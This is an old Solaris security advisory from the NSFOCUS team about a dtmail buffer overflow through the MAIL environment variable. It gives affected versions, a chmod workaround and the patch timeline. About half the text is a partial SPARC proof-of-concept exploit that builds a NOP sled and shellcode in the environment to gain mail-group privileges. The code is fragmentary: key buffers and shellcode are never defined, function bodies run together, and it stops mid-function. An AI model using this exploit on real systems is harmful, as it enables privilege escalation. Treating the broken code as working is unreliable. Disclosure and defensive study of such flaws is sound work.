Solaris DTmail Buffer Overflow Vulnerability (MAIL Environment)
26 Jul. 2001
Summary
The NSFOCUS Security Team has found a buffer overflow vulnerability in the dtmail of Solaris handling MAIL environment variable, whose exploitation allows an attacker to run arbitrary code with the privilege of mail group.
Vulnerable systems:
* Sun Solaris 2.6 (SPARC/x86)
* Sun Solaris 7 (SPARC/x86)
Immune systems:
* Sun Solaris 8
DTmail is a mail user agent (MUA) shipped as a part of Solaris CDE. It is installed setgid mail by default.
The vulnerability results because dtmail do not provide valid boundary check to certain environment variables, which allows an attacker to launch a buffer overflow attack.
In case that the MAIL environment variable is an over-length character string (for instance, longer than 1500 bytes), a stack buffer overflow would occur. The attacker could overwrite the returned address and run arbitrary code with mail group privilege. Workaround:
Drop the sgid mail attribute of dtmail:
# chmod g-s /usr/dt/bin/dtmail
Vendor status:
2001.6.18 NSFocus have informed Sun of this issue.
2001.6.21 Sun replied that the overflow would occur even in case that the MAIL environment variable has only 1 byte.
Solaris 2.6 with the following patches is not affected:
SunOS 5.6 SPARC : 105338-27
SunOS 5.6 x86 : 105339-25
Solaris 7 with the following latest patches is still affected:
SunOS 5.7 SPARC : 107200-12
SunOS 5.7 x86 : 107201-12
A copy of it is attached below:
/*
* sol_sparc_dtmail_MAIL_ex.c - Proof of Concept Code for dtmail $MAIL overflow bug.
*
* Copyright (c) 2001 - Nsfocus.com
*
* It will run "/bin/id" if the exploit succeed.
* Tested in Solaris 2.6/7 (SPARC).
*
* DISCLAIMS:
* This is a proof of concept code. This code is for test purpose
* only and should not be run against any host without permission from
* the system administrator.
*
* NSFOCUS Security Team <security@nsfocus.com>
* http://www.nsfocus.com
*/
/* get current stack point address */
long
get_sp(void)
{
__asm__("mov %sp,%i0");
}
long
get_shelladdr(long sp_addr, char **arg, char **env, long off)
{
long retaddr;
int i;
char plat[256];
char pad = 0, pad1 = 0, pad2;
int env_len, arg_len, len;
while (1) {
/* calculate the length of "VULPROG" + argv[] */
for (i = 0, arg_len = 0; arg[i] != NULL; i++) {
arg_len += strlen(arg[i]) + 1;
}
/* calculate the pad nummber . */
pad = 3 - arg_len % 4;
memset(env[0], 'A', pad);
env[0][pad] = '\0';
memset(env[2], 'A', pad1);
env[2][pad1] = '\0';
/* get environ length */
for (i = 0, env_len = 0; env[i] != NULL; i++) {
env_len += strlen(env[i]) + 1;
}
/* get platform info */
sysinfo(SI_PLATFORM, plat, 256);
bzero(eggbuf, sizeof(eggbuf));
ptr = (unsigned int *) eggbuf;
for (i = 0; i < sizeof(eggbuf) - strlen(shellcode); i += 4)
*(ptr + i / 4) = NOP;
memcpy(eggbuf + i - 4, shellcode, strlen(shellcode));
env[0] = padding; /* put padding buffer in env */
env[1] = eggbuf; /* put shellcode in env */
env[2] = padding1; /* put padding1 buffer in env */
env[3] = buf; /* put overflow environ */
env[4] = display; /* put display environ */
env[5] = home; /* put home environ */
env[6] = NULL; /* end of env */